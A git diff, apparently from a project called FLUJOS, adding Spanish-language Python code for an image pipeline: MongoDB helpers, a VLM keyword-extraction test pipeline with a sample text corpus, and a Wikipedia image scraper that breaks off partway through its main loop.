# ── Comparación muchas imágenes vs colección ───────────────────────────────
|
||||
|
||||
def compare_batch(
|
||||
self,
|
||||
image_docs: list[dict],
|
||||
text_docs: list[dict],
|
||||
) -> list[dict]:
|
||||
"""
|
||||
Compara múltiples imágenes contra una colección de documentos.
|
||||
|
||||
Returns:
|
||||
Todos los pares con similitud >= threshold, sin duplicados.
|
||||
"""
|
||||
all_comparaciones = []
|
||||
seen = set()
|
||||
|
||||
for img_doc in image_docs:
|
||||
results = self.compare_image_vs_collection(img_doc, text_docs)
|
||||
for r in results:
|
||||
key = (r["noticia1"], r["noticia2"])
|
||||
if key not in seen:
|
||||
seen.add(key)
|
||||
all_comparaciones.append(r)
|
||||
|
||||
all_comparaciones.sort(key=lambda x: x["porcentaje_similitud"], reverse=True)
|
||||
return all_comparaciones
|
||||
|
||||
# ── Helpers ────────────────────────────────────────────────────────────────
|
||||
|
||||
@staticmethod
|
||||
def top_n(comparaciones: list[dict], n: int = 20) -> list[dict]:
|
||||
return sorted(comparaciones, key=lambda x: x["porcentaje_similitud"], reverse=True)[:n]
|
||||
|
||||
@staticmethod
|
||||
def stats(comparaciones: list[dict]) -> dict:
|
||||
if not comparaciones:
|
||||
return {"total": 0}
|
||||
sims = [c["porcentaje_similitud"] for c in comparaciones]
|
||||
return {
|
||||
"total": len(sims),
|
||||
"media": round(np.mean(sims), 2),
|
||||
"max": round(max(sims), 2),
|
||||
"min": round(min(sims), 2),
|
||||
"sobre_50": sum(1 for s in sims if s >= 50),
|
||||
"sobre_70": sum(1 for s in sims if s >= 70),
|
||||
}
|
||||
172
INFO/POCS/BACK_BACK/IMAGENES/mongo_helper.py
Normal file
172
INFO/POCS/BACK_BACK/IMAGENES/mongo_helper.py
Normal file
|
|
@ -0,0 +1,172 @@
|
|||
"""
|
||||
mongo_helper.py
|
||||
---------------
|
||||
Operaciones MongoDB para la colección 'imagenes' y extensión de 'comparaciones'.
|
||||
Compatible con la estructura existente de FLUJOS_DATOS.
|
||||
|
||||
Uso:
|
||||
mongo = MongoHelper()
|
||||
mongo.upsert_imagenes(lista_docs)
|
||||
mongo.insert_comparaciones(lista_comparaciones)
|
||||
docs = mongo.get_collection_sample("noticias", limit=100)
|
||||
"""
|
||||
|
||||
import os
|
||||
from pymongo import MongoClient, UpdateOne
|
||||
from pymongo.errors import ConnectionFailure
|
||||
|
||||
MONGO_URL = os.getenv("MONGO_URL", "mongodb://localhost:27017")
|
||||
DB_NAME = os.getenv("DB_NAME", "FLUJOS_DATOS")
|
||||
|
||||
|
||||
class MongoHelper:
|
||||
def __init__(self, mongo_url: str = MONGO_URL, db_name: str = DB_NAME):
|
||||
self.mongo_url = mongo_url
|
||||
self.db_name = db_name
|
||||
self._client = None
|
||||
self._db = None
|
||||
|
||||
# ── Conexión ───────────────────────────────────────────────────────────────
|
||||
|
||||
def connect(self):
|
||||
if self._client is None:
|
||||
self._client = MongoClient(self.mongo_url, serverSelectionTimeoutMS=5000)
|
||||
self._client.admin.command("ping")
|
||||
self._db = self._client[self.db_name]
|
||||
print(f"[MongoDB] Conectado a {self.mongo_url} / {self.db_name}")
|
||||
return self._db
|
||||
|
||||
def disconnect(self):
|
||||
if self._client:
|
||||
self._client.close()
|
||||
self._client = None
|
||||
self._db = None
|
||||
|
||||
def is_available(self) -> bool:
|
||||
try:
|
||||
self.connect()
|
||||
return True
|
||||
except ConnectionFailure:
|
||||
return False
|
||||
|
||||
# ── Colección IMAGENES ─────────────────────────────────────────────────────
|
||||
|
||||
def upsert_imagenes(self, docs: list[dict]) -> dict:
|
||||
"""
|
||||
Inserta o actualiza documentos en la colección 'imagenes'.
|
||||
Usa 'archivo' como clave única (upsert por nombre de archivo).
|
||||
|
||||
Returns: {'inserted': N, 'updated': N}
|
||||
"""
|
||||
db = self.connect()
|
||||
collection = db["imagenes"]
|
||||
collection.create_index("archivo", unique=True)
|
||||
|
||||
ops = [
|
||||
UpdateOne(
|
||||
{"archivo": doc["archivo"]},
|
||||
{"$set": doc},
|
||||
upsert=True
|
||||
)
|
||||
for doc in docs if "error" not in doc
|
||||
]
|
||||
|
||||
if not ops:
|
||||
return {"inserted": 0, "updated": 0}
|
||||
|
||||
result = collection.bulk_write(ops)
|
||||
stats = {
|
||||
"inserted": result.upserted_count,
|
||||
"updated": result.modified_count,
|
||||
}
|
||||
print(f"[MongoDB] imagenes → {stats}")
|
||||
return stats
|
||||
|
||||
def get_imagenes(self, tema: str = None, limit: int = 500) -> list[dict]:
|
||||
"""Recupera documentos de la colección 'imagenes'."""
|
||||
db = self.connect()
|
||||
query = {"tema": {"$regex": tema, "$options": "i"}} if tema else {}
|
||||
return list(db["imagenes"].find(query, {"_id": 0}).limit(limit))
|
||||
|
||||
# ── Colección COMPARACIONES ────────────────────────────────────────────────
|
||||
|
||||
def insert_comparaciones(self, comparaciones: list[dict], replace_existing: bool = False) -> int:
|
||||
"""
|
||||
Inserta comparaciones imagen-texto en la colección 'comparaciones'.
|
||||
Evita duplicados por (noticia1, noticia2).
|
||||
|
||||
Returns: número de documentos insertados
|
||||
"""
|
||||
db = self.connect()
|
||||
collection = db["comparaciones"]
|
||||
|
||||
ops = []
|
||||
for comp in comparaciones:
|
||||
filter_q = {"noticia1": comp["noticia1"], "noticia2": comp["noticia2"]}
|
||||
update_q = {"$set": comp} if replace_existing else {"$setOnInsert": comp}
|
||||
ops.append(UpdateOne(filter_q, update_q, upsert=True))
|
||||
|
||||
if not ops:
|
||||
return 0
|
||||
|
||||
result = collection.bulk_write(ops)
|
||||
inserted = result.upserted_count
|
||||
print(f"[MongoDB] comparaciones → {inserted} nuevas, {result.modified_count} actualizadas")
|
||||
return inserted
|
||||
|
||||
# ── Leer colecciones existentes (para comparar) ────────────────────────────
|
||||
|
||||
def get_collection_sample(
|
||||
self,
|
||||
collection_name: str,
|
||||
tema: str = None,
|
||||
limit: int = 200,
|
||||
fields: list[str] = None,
|
||||
) -> list[dict]:
|
||||
"""
|
||||
Lee una muestra de documentos de una colección existente.
|
||||
Compatible con noticias, wikipedia, torrents.
|
||||
"""
|
||||
db = self.connect()
|
||||
query = {}
|
||||
if tema:
|
||||
query["$or"] = [
|
||||
{"tema": {"$regex": tema, "$options": "i"}},
|
||||
{"subtema": {"$regex": tema, "$options": "i"}},
|
||||
{"texto": {"$regex": tema, "$options": "i"}},
|
||||
]
|
||||
|
||||
projection = {"_id": 0}
|
||||
if fields:
|
||||
for f in fields:
|
||||
projection[f] = 1
|
||||
|
||||
docs = list(db[collection_name].find(query, projection).limit(limit))
|
||||
for doc in docs:
|
||||
if "source_type" not in doc:
|
||||
doc["source_type"] = collection_name
|
||||
return docs
|
||||
|
||||
def get_all_text_docs(self, tema: str = None, limit_per_collection: int = 200) -> list[dict]:
|
||||
"""
|
||||
Recupera documentos de noticias + wikipedia + torrents combinados.
|
||||
Útil para comparar imágenes contra todo el corpus.
|
||||
"""
|
||||
all_docs = []
|
||||
for col in ("noticias", "wikipedia", "torrents"):
|
||||
try:
|
||||
docs = self.get_collection_sample(col, tema=tema, limit=limit_per_collection)
|
||||
all_docs.extend(docs)
|
||||
print(f"[MongoDB] {col}: {len(docs)} docs cargados")
|
||||
except Exception as e:
|
||||
print(f"[MongoDB] WARNING: no se pudo leer '{col}': {e}")
|
||||
return all_docs
|
||||
|
||||
# ── Info de la BD ──────────────────────────────────────────────────────────
|
||||
|
||||
def collection_stats(self) -> dict:
|
||||
db = self.connect()
|
||||
stats = {}
|
||||
for col_name in db.list_collection_names():
|
||||
stats[col_name] = db[col_name].count_documents({})
|
||||
return stats
|
||||
268
INFO/POCS/BACK_BACK/IMAGENES/pipeline_pruebas.py
Normal file
268
INFO/POCS/BACK_BACK/IMAGENES/pipeline_pruebas.py
Normal file
|
|
@ -0,0 +1,268 @@
|
|||
"""
|
||||
pipeline_pruebas.py
|
||||
-------------------
|
||||
Pipeline de prueba end-to-end para análisis de imágenes.
|
||||
|
||||
Flujo:
|
||||
1. Carga imágenes desde una carpeta (por defecto: las imágenes del proyecto)
|
||||
2. Analiza cada imagen con el VLM via ollama → keywords + metadata
|
||||
3. Guarda resultados en JSON local (output/)
|
||||
4. Compara keywords de imágenes con documentos de texto (noticias/wiki/torrents)
|
||||
- Si MongoDB disponible: lee corpus real
|
||||
- Si no: usa corpus de prueba hardcodeado
|
||||
5. Guarda comparaciones en JSON local
|
||||
6. Opcional: sube todo a MongoDB
|
||||
|
||||
Ejecutar:
|
||||
python pipeline_pruebas.py
|
||||
python pipeline_pruebas.py --carpeta /ruta/a/imagenes --modelo qwen2-vl:7b
|
||||
python pipeline_pruebas.py --solo-json # sin MongoDB
|
||||
python pipeline_pruebas.py --tema "clima" # filtra corpus por tema
|
||||
|
||||
Requisitos previos:
|
||||
pip install -r requirements_imagenes.txt
|
||||
ollama pull qwen2-vl:7b (o el modelo que prefieras)
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
|
||||
# Añadir el directorio padre al path para importar desde BACK_BACK
|
||||
sys.path.insert(0, str(Path(__file__).parent))
|
||||
|
||||
from image_analyzer import ImageAnalyzer
|
||||
from image_comparator import ImageComparator
|
||||
from mongo_helper import MongoHelper
|
||||
|
||||
# ── Configuración por defecto ──────────────────────────────────────────────────
|
||||
|
||||
DEFAULT_IMAGES_FOLDER = str(
|
||||
Path(__file__).parent.parent.parent / "VISUALIZACION" / "public" / "images"
|
||||
)
|
||||
DEFAULT_MODEL = os.getenv("VISION_MODEL", "qwen2-vl:7b")
|
||||
OUTPUT_DIR = Path(__file__).parent / "output"
|
||||
|
||||
# ── Corpus de prueba (cuando no hay MongoDB) ───────────────────────────────────
|
||||
|
||||
CORPUS_PRUEBA = [
|
||||
{
|
||||
"archivo": "noticia_clima_001.txt",
|
||||
"tema": "cambio climático",
|
||||
"subtema": "emisiones co2",
|
||||
"texto": "Las emisiones de dióxido de carbono alcanzan niveles récord. Los países industrializados deben reducir su huella de carbono para frenar el calentamiento global. La crisis climática afecta a millones de personas.",
|
||||
"source_type": "noticias",
|
||||
},
|
||||
{
|
||||
"archivo": "wiki_energia_renovable.txt",
|
||||
"tema": "energía renovable",
|
||||
"subtema": "energía solar",
|
||||
"texto": "La energía solar fotovoltaica ha experimentado un crecimiento exponencial. Los paneles solares reducen la dependencia de combustibles fósiles y disminuyen las emisiones de gases de efecto invernadero.",
|
||||
"source_type": "wikipedia",
|
||||
},
|
||||
{
|
||||
"archivo": "noticia_tecnologia_001.txt",
|
||||
"tema": "tecnología",
|
||||
"subtema": "inteligencia artificial",
|
||||
"texto": "Los modelos de lenguaje de gran tamaño están transformando la industria tecnológica. Empresas como Google, Meta y OpenAI compiten por el liderazgo en inteligencia artificial generativa.",
|
||||
"source_type": "noticias",
|
||||
},
|
||||
{
|
||||
"archivo": "wiki_desinformacion.txt",
|
||||
"tema": "desinformación",
|
||||
"subtema": "redes sociales",
|
||||
"texto": "La desinformación en redes sociales representa una amenaza para la democracia. Las fake news se propagan más rápido que las noticias verificadas. Los algoritmos de plataformas como Twitter y Facebook amplifican contenido polarizante.",
|
||||
"source_type": "wikipedia",
|
||||
},
|
||||
{
|
||||
"archivo": "noticia_geopolitica_001.txt",
|
||||
"tema": "geopolítica",
|
||||
"subtema": "conflictos internacionales",
|
||||
"texto": "Las tensiones geopolíticas entre potencias mundiales aumentan la incertidumbre global. Los conflictos armados desplazan millones de personas y generan crisis humanitarias sin precedentes.",
|
||||
"source_type": "noticias",
|
||||
},
|
||||
{
|
||||
"archivo": "wiki_privacidad_datos.txt",
|
||||
"tema": "privacidad",
|
||||
"subtema": "datos personales",
|
||||
"texto": "La privacidad de los datos personales es un derecho fundamental en la era digital. El RGPD europeo establece normas estrictas sobre el tratamiento de datos. La vigilancia masiva por parte de gobiernos y corporaciones amenaza las libertades individuales.",
|
||||
"source_type": "wikipedia",
|
||||
},
|
||||
{
|
||||
"archivo": "torrent_documental_medioambiente.txt",
|
||||
"tema": "medioambiente",
|
||||
"subtema": "biodiversidad",
|
||||
"texto": "Documental sobre la pérdida de biodiversidad y el impacto de la actividad humana en los ecosistemas. La deforestación, la contaminación y el cambio climático amenazan la supervivencia de miles de especies.",
|
||||
"source_type": "torrents",
|
||||
},
|
||||
{
|
||||
"archivo": "noticia_corporaciones_001.txt",
|
||||
"tema": "corporaciones",
|
||||
"subtema": "paraísos fiscales",
|
||||
"texto": "Las grandes corporaciones utilizan paraísos fiscales para eludir el pago de impuestos. El lobbying corporativo influye decisivamente en las políticas gubernamentales. La concentración de poder económico en pocas empresas amenaza la competencia.",
|
||||
"source_type": "noticias",
|
||||
},
|
||||
]
|
||||
|
||||
|
||||
# ── Pipeline principal ─────────────────────────────────────────────────────────
|
||||
|
||||
def run_pipeline(
|
||||
images_folder: str,
|
||||
model: str,
|
||||
tema_filtro: str,
|
||||
solo_json: bool,
|
||||
threshold: float,
|
||||
contexto: str,
|
||||
):
|
||||
OUTPUT_DIR.mkdir(exist_ok=True)
|
||||
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||
|
||||
print("\n" + "="*60)
|
||||
print(" FLUJOS — Pipeline de Imágenes (PRUEBAS)")
|
||||
print("="*60)
|
||||
print(f" Carpeta: {images_folder}")
|
||||
print(f" Modelo: {model}")
|
||||
print(f" Umbral: {threshold}%")
|
||||
print(f" Solo JSON: {solo_json}")
|
||||
print("="*60 + "\n")
|
||||
|
||||
# ── PASO 1: Analizar imágenes ──────────────────────────────────────────────
|
||||
print("[ PASO 1 ] Análisis de imágenes con VLM")
|
||||
print("-"*40)
|
||||
|
||||
analyzer = ImageAnalyzer(model=model)
|
||||
image_docs = analyzer.analyze_folder(images_folder, extra_context=contexto)
|
||||
|
||||
if not image_docs:
|
||||
print(" ⚠ No se analizaron imágenes. Comprueba que ollama está corriendo.")
|
||||
print(f" ollama serve → ollama pull {model}")
|
||||
return
|
||||
|
||||
# Guardar resultados de análisis
|
||||
json_imagenes = OUTPUT_DIR / f"imagenes_{timestamp}.json"
|
||||
ImageAnalyzer.save_json(image_docs, str(json_imagenes))
|
||||
|
||||
# ── PASO 2: Cargar corpus de texto para comparar ───────────────────────────
|
||||
print("\n[ PASO 2 ] Cargando corpus de texto")
|
||||
print("-"*40)
|
||||
|
||||
mongo = MongoHelper()
|
||||
text_docs = []
|
||||
|
||||
if not solo_json and mongo.is_available():
|
||||
print(" MongoDB disponible — cargando corpus real")
|
||||
text_docs = mongo.get_all_text_docs(tema=tema_filtro, limit_per_collection=300)
|
||||
else:
|
||||
if not solo_json:
|
||||
print(" ⚠ MongoDB no disponible — usando corpus de prueba hardcodeado")
|
||||
else:
|
||||
print(" Modo solo-json — usando corpus de prueba hardcodeado")
|
||||
text_docs = CORPUS_PRUEBA
|
||||
|
||||
print(f" Total documentos de texto: {len(text_docs)}")
|
||||
|
||||
# ── PASO 3: Comparar imágenes vs corpus ───────────────────────────────────
|
||||
print("\n[ PASO 3 ] Comparando keywords de imágenes vs corpus")
|
||||
print("-"*40)
|
||||
|
||||
comparador = ImageComparator(threshold=threshold)
|
||||
valid_image_docs = [d for d in image_docs if "error" not in d]
|
||||
comparaciones = comparador.compare_batch(valid_image_docs, text_docs)
|
||||
|
||||
stats = comparador.stats(comparaciones)
|
||||
print(f" Comparaciones generadas: {stats.get('total', 0)}")
|
||||
print(f" Similitud media: {stats.get('media', 0)}%")
|
||||
print(f" Similitud máxima: {stats.get('max', 0)}%")
|
||||
print(f" Con > 50%: {stats.get('sobre_50', 0)}")
|
||||
print(f" Con > 70%: {stats.get('sobre_70', 0)}")
|
||||
|
||||
# Guardar comparaciones
|
||||
json_comparaciones = OUTPUT_DIR / f"comparaciones_{timestamp}.json"
|
||||
with open(json_comparaciones, "w", encoding="utf-8") as f:
|
||||
json.dump(comparaciones, f, ensure_ascii=False, indent=2)
|
||||
print(f"\n Guardado: {json_comparaciones}")
|
||||
|
||||
# Mostrar top 10
|
||||
if comparaciones:
|
||||
print("\n Top 10 similitudes:")
|
||||
for c in comparador.top_n(comparaciones, 10):
|
||||
print(f" {c['porcentaje_similitud']:5.1f}% {c['noticia1']} ↔ {c['noticia2']}")
|
||||
|
||||
# ── PASO 4: Subir a MongoDB (opcional) ────────────────────────────────────
|
||||
if not solo_json and mongo.is_available():
|
||||
print("\n[ PASO 4 ] Subiendo a MongoDB")
|
||||
print("-"*40)
|
||||
|
||||
mongo.upsert_imagenes(valid_image_docs)
|
||||
mongo.insert_comparaciones(comparaciones)
|
||||
mongo.disconnect()
|
||||
|
||||
print("\n ✓ Datos guardados en MongoDB")
|
||||
print(f" Colección 'imagenes': {len(valid_image_docs)} documentos")
|
||||
print(f" Colección 'comparaciones': {len(comparaciones)} documentos")
|
||||
else:
|
||||
print("\n[ PASO 4 ] Skipped (solo-json o MongoDB no disponible)")
|
||||
|
||||
# ── Resumen final ──────────────────────────────────────────────────────────
|
||||
print("\n" + "="*60)
|
||||
print(" COMPLETADO")
|
||||
print(f" Imágenes analizadas: {len(valid_image_docs)}")
|
||||
print(f" Comparaciones: {len(comparaciones)}")
|
||||
print(f" Output JSON:")
|
||||
print(f" {json_imagenes}")
|
||||
print(f" {json_comparaciones}")
|
||||
print("="*60 + "\n")
|
||||
|
||||
|
||||
# ── CLI ────────────────────────────────────────────────────────────────────────
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Pipeline de prueba: imágenes → keywords → comparaciones"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--carpeta",
|
||||
default=DEFAULT_IMAGES_FOLDER,
|
||||
help=f"Carpeta con imágenes (default: {DEFAULT_IMAGES_FOLDER})"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--modelo",
|
||||
default=DEFAULT_MODEL,
|
||||
help=f"Modelo ollama a usar (default: {DEFAULT_MODEL})"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--tema",
|
||||
default=None,
|
||||
help="Filtrar corpus MongoDB por tema (ej: 'clima', 'tecnología')"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--umbral",
|
||||
type=float,
|
||||
default=5.0,
|
||||
help="Porcentaje mínimo de similitud para guardar comparación (default: 5.0)"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--contexto",
|
||||
default="",
|
||||
help="Contexto adicional para el prompt de análisis (ej: 'imágenes de noticias políticas')"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--solo-json",
|
||||
action="store_true",
|
||||
help="No conectar a MongoDB, solo guardar JSONs locales"
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
run_pipeline(
|
||||
images_folder=args.carpeta,
|
||||
model=args.modelo,
|
||||
tema_filtro=args.tema,
|
||||
solo_json=args.solo_json,
|
||||
threshold=args.umbral,
|
||||
contexto=args.contexto,
|
||||
)
|
||||
16
INFO/POCS/BACK_BACK/IMAGENES/requirements_imagenes.txt
Normal file
16
INFO/POCS/BACK_BACK/IMAGENES/requirements_imagenes.txt
Normal file
|
|
@ -0,0 +1,16 @@
|
|||
# Dependencias para la pipeline de imágenes FLUJOS
|
||||
# Instalar con: pip install -r requirements_imagenes.txt
|
||||
|
||||
# MongoDB
|
||||
pymongo>=4.6
|
||||
|
||||
# ML / comparación
|
||||
scikit-learn>=1.3
|
||||
numpy>=1.24
|
||||
|
||||
# HTTP (para llamadas a ollama)
|
||||
requests>=2.31
|
||||
|
||||
# Utilidades
|
||||
python-dotenv>=1.0
|
||||
Pillow>=10.0 # lectura/validación de imágenes
|
||||
446
INFO/POCS/BACK_BACK/IMAGENES/wikipedia_image_scraper.py
Normal file
446
INFO/POCS/BACK_BACK/IMAGENES/wikipedia_image_scraper.py
Normal file
|
|
@ -0,0 +1,446 @@
|
|||
"""
|
||||
wikipedia_image_scraper.py
|
||||
--------------------------
|
||||
Descarga imágenes de artículos de Wikipedia por tema usando la Wikimedia API.
|
||||
Las guarda en una carpeta local y registra los metadatos en JSON / MongoDB.
|
||||
|
||||
Flujo:
|
||||
1. Busca artículos en Wikipedia por tema/keyword
|
||||
2. Para cada artículo extrae las imágenes (Wikimedia API)
|
||||
3. Filtra imágenes no relevantes (iconos, banderas, logos pequeños...)
|
||||
4. Descarga las imágenes a la carpeta de destino
|
||||
5. Guarda metadatos: título del artículo, tema, url, descripción, fecha
|
||||
6. Opcional: guarda metadatos en MongoDB colección 'imagenes_wiki'
|
||||
|
||||
Uso:
|
||||
python wikipedia_image_scraper.py --tema "cambio climático" --max 30
|
||||
python wikipedia_image_scraper.py --tema "geopolítica" --lang es --max 50
|
||||
python wikipedia_image_scraper.py --temas temas.txt --max 20
|
||||
python wikipedia_image_scraper.py --tema "climate change" --lang en --max 40
|
||||
|
||||
Requisitos:
|
||||
pip install requests Pillow pymongo python-dotenv
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import time
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
from urllib.parse import quote, urlparse
|
||||
|
||||
import requests
|
||||
from PIL import Image, UnidentifiedImageError
|
||||
|
||||
# ── Configuración ──────────────────────────────────────────────────────────────
|
||||
|
||||
WIKI_API_ES = "https://es.wikipedia.org/w/api.php"
|
||||
WIKI_API_EN = "https://en.wikipedia.org/w/api.php"
|
||||
WIKIMEDIA_API = "https://commons.wikimedia.org/w/api.php"
|
||||
|
||||
OUTPUT_BASE = Path(__file__).parent / "output" / "wiki_images"
|
||||
|
||||
# Tamaño mínimo para considerar una imagen relevante (pixels)
|
||||
MIN_WIDTH = 200
|
||||
MIN_HEIGHT = 200
|
||||
MIN_BYTES = 20_000 # 20KB mínimo
|
||||
|
||||
# Extensiones válidas
|
||||
VALID_EXTENSIONS = {".jpg", ".jpeg", ".png", ".webp"}
|
||||
|
||||
# Prefijos/sufijos de archivos a ignorar (iconos, banderas, etc.)
|
||||
SKIP_PATTERNS = [
|
||||
"flag_", "Flag_", "icon", "Icon", "logo", "Logo",
|
||||
"symbol", "Symbol", "coat_of_arms", "Coat_of_arms",
|
||||
"commons-logo", "wiki", "Wiki", "question_mark",
|
||||
"edit-", "nuvola", "Nuvola", "pictogram", "Pictogram",
|
||||
"OOjs", "Ambox", "Portal-", "Disambig",
|
||||
]
|
||||
|
||||
HEADERS = {
|
||||
"User-Agent": "FLUJOS-Project/1.0 (https://gitea.laenre.net/hacklab/FLUJOS; educational research)"
|
||||
}
|
||||
|
||||
|
||||
# ── Funciones de búsqueda Wikipedia ───────────────────────────────────────────
|
||||
|
||||
def search_articles(tema: str, lang: str = "es", limit: int = 10) -> list[dict]:
|
||||
"""Busca artículos en Wikipedia por tema. Devuelve lista de {title, pageid}."""
|
||||
api_url = WIKI_API_EN if lang == "en" else WIKI_API_ES
|
||||
|
||||
params = {
|
||||
"action": "query",
|
||||
"list": "search",
|
||||
"srsearch": tema,
|
||||
"srlimit": limit,
|
||||
"format": "json",
|
||||
"srinfo": "totalhits",
|
||||
"srprop": "snippet|titlesnippet",
|
||||
}
|
||||
|
||||
resp = requests.get(api_url, params=params, headers=HEADERS, timeout=15)
|
||||
resp.raise_for_status()
|
||||
data = resp.json()
|
||||
|
||||
articles = []
|
||||
for item in data.get("query", {}).get("search", []):
|
||||
articles.append({
|
||||
"title": item["title"],
|
||||
"pageid": item["pageid"],
|
||||
"snippet": item.get("snippet", "").replace("<span class=\"searchmatch\">", "").replace("</span>", ""),
|
||||
})
|
||||
|
||||
return articles
|
||||
|
||||
|
||||
def get_article_images(title: str, lang: str = "es", limit: int = 20) -> list[str]:
|
||||
"""Obtiene lista de nombres de archivo de imágenes de un artículo Wikipedia."""
|
||||
api_url = WIKI_API_EN if lang == "en" else WIKI_API_ES
|
||||
|
||||
params = {
|
||||
"action": "query",
|
||||
"titles": title,
|
||||
"prop": "images",
|
||||
"imlimit": limit,
|
||||
"format": "json",
|
||||
}
|
||||
|
||||
resp = requests.get(api_url, params=params, headers=HEADERS, timeout=15)
|
||||
resp.raise_for_status()
|
||||
data = resp.json()
|
||||
|
||||
pages = data.get("query", {}).get("pages", {})
|
||||
image_titles = []
|
||||
for page in pages.values():
|
||||
for img in page.get("images", []):
|
||||
image_titles.append(img["title"])
|
||||
|
||||
return image_titles
|
||||
|
||||
|
||||
def get_image_info(file_title: str) -> dict | None:
|
||||
"""
|
||||
Obtiene info de una imagen via Wikimedia API:
|
||||
url directa de descarga, dimensiones, descripción, autor, licencia.
|
||||
"""
|
||||
# Normalizar namespace: Wikipedia ES usa "Archivo:", Commons usa "File:"
|
||||
for prefix in ("Archivo:", "Fichero:", "Image:", "Imagen:"):
|
||||
if file_title.startswith(prefix):
|
||||
file_title = "File:" + file_title[len(prefix):]
|
||||
break
|
||||
|
||||
params = {
|
||||
"action": "query",
|
||||
"titles": file_title,
|
||||
"prop": "imageinfo",
|
||||
"iiprop": "url|size|extmetadata",
|
||||
"iiurlwidth": 1200,
|
||||
"format": "json",
|
||||
}
|
||||
|
||||
resp = requests.get(WIKIMEDIA_API, params=params, headers=HEADERS, timeout=15)
|
||||
resp.raise_for_status()
|
||||
data = resp.json()
|
||||
|
||||
pages = data.get("query", {}).get("pages", {})
|
||||
for page in pages.values():
|
||||
infos = page.get("imageinfo", [])
|
||||
if not infos:
|
||||
return None
|
||||
info = infos[0]
|
||||
|
||||
ext_meta = info.get("extmetadata", {})
|
||||
return {
|
||||
"url": info.get("thumburl") or info.get("url"),
|
||||
"url_original": info.get("url"),
|
||||
"width": info.get("width", 0),
|
||||
"height": info.get("height", 0),
|
||||
"size_bytes": info.get("size", 0),
|
||||
"descripcion": ext_meta.get("ImageDescription", {}).get("value", ""),
|
||||
"autor": ext_meta.get("Artist", {}).get("value", ""),
|
||||
"licencia": ext_meta.get("LicenseShortName", {}).get("value", ""),
|
||||
"fecha_orig": ext_meta.get("DateTimeOriginal", {}).get("value", ""),
|
||||
}
|
||||
|
||||
return None
|
||||
|
||||
|
||||
# ── Filtros ────────────────────────────────────────────────────────────────────
|
||||
|
||||
def should_skip(file_title: str, img_info: dict) -> tuple[bool, str]:
|
||||
"""Devuelve (skip, motivo) — True si la imagen debe descartarse."""
|
||||
filename = Path(file_title).name
|
||||
|
||||
# Extensión válida
|
||||
ext = Path(filename).suffix.lower()
|
||||
if ext not in VALID_EXTENSIONS:
|
||||
return True, f"extensión no válida: {ext}"
|
||||
|
||||
# Patrones a ignorar
|
||||
for pattern in SKIP_PATTERNS:
|
||||
if pattern in filename:
|
||||
return True, f"patrón ignorado: {pattern}"
|
||||
|
||||
# Tamaño mínimo
|
||||
if img_info.get("width", 0) < MIN_WIDTH or img_info.get("height", 0) < MIN_HEIGHT:
|
||||
return True, f"demasiado pequeña: {img_info.get('width')}x{img_info.get('height')}"
|
||||
|
||||
if img_info.get("size_bytes", 0) < MIN_BYTES:
|
||||
return True, f"archivo demasiado pequeño: {img_info.get('size_bytes')} bytes"
|
||||
|
||||
return False, ""
|
||||
|
||||
|
||||
# ── Descarga ───────────────────────────────────────────────────────────────────
|
||||
|
||||
def download_image(url: str, dest_path: Path) -> bool:
|
||||
"""Descarga una imagen a dest_path. Devuelve True si éxito."""
|
||||
try:
|
||||
resp = requests.get(url, headers=HEADERS, timeout=30, stream=True)
|
||||
resp.raise_for_status()
|
||||
|
||||
with open(dest_path, "wb") as f:
|
||||
for chunk in resp.iter_content(chunk_size=8192):
|
||||
f.write(chunk)
|
||||
|
||||
# Verificar que es imagen válida con Pillow
|
||||
with Image.open(dest_path) as img:
|
||||
img.verify()
|
||||
|
||||
return True
|
||||
|
||||
except (UnidentifiedImageError, Exception) as e:
|
||||
if dest_path.exists():
|
||||
dest_path.unlink()
|
||||
return False
|
||||
|
||||
|
||||
# ── Pipeline principal ─────────────────────────────────────────────────────────
|
||||
|
||||
class WikipediaImageScraper:
|
||||
|
||||
def __init__(self, output_dir: Path = OUTPUT_BASE, lang: str = "es"):
|
||||
self.output_dir = output_dir
|
||||
self.lang = lang
|
||||
self.output_dir.mkdir(parents=True, exist_ok=True)
|
||||
self.session = requests.Session()
|
||||
|
||||
def scrape_tema(self, tema: str, max_images: int = 30, max_articles: int = 10) -> list[dict]:
|
||||
"""
|
||||
Descarga imágenes de Wikipedia sobre un tema.
|
||||
|
||||
Args:
|
||||
tema: tema a buscar (ej: "cambio climático")
|
||||
max_images: máximo de imágenes a descargar
|
||||
max_articles: máximo de artículos a explorar
|
||||
|
||||
Returns:
|
||||
Lista de metadatos de imágenes descargadas
|
||||
"""
|
||||
# Carpeta por tema
|
||||
tema_slug = tema.lower().replace(" ", "_").replace("/", "-")[:40]
|
||||
tema_dir = self.output_dir / tema_slug
|
||||
tema_dir.mkdir(exist_ok=True)
|
||||
|
||||
print(f"\n[WikiScraper] Tema: '{tema}' | max_images={max_images} | lang={self.lang}")
|
||||
print("-" * 50)
|
||||
|
||||
# 1. Buscar artículos
|
||||
articles = search_articles(tema, lang=self.lang, limit=max_articles)
|
||||
print(f" Artículos encontrados: {len(articles)}")
|
||||
for a in articles[:5]:
|
||||
print(f" · {a['title']}")
|
||||
if len(articles) > 5:
|
||||
print(f" ... y {len(articles)-5} más")
|
||||
|
||||
downloaded = []
|
||||
total_downloaded = 0
|
||||
|
||||
for article in articles:
|
||||
if total_downloaded >= max_images:
|
||||
break
|
||||
|
||||
print(f"\n → {article['title']}")
|
||||
|
||||
# 2. Obtener imágenes del artículo
|
||||
try:
|
||||
img_titles = get_article_images(article["title"], lang=self.lang, limit=25)
|
||||
except Exception as e:
|
||||
print(f" ERROR obteniendo imágenes: {e}")
|
||||
continue
|
||||
|
||||
print(f" {len(img_titles)} imágenes en el artículo")
|
||||
|
||||
for img_title in img_titles:
|
||||
if total_downloaded >= max_images:
|
||||
break
|
||||
|
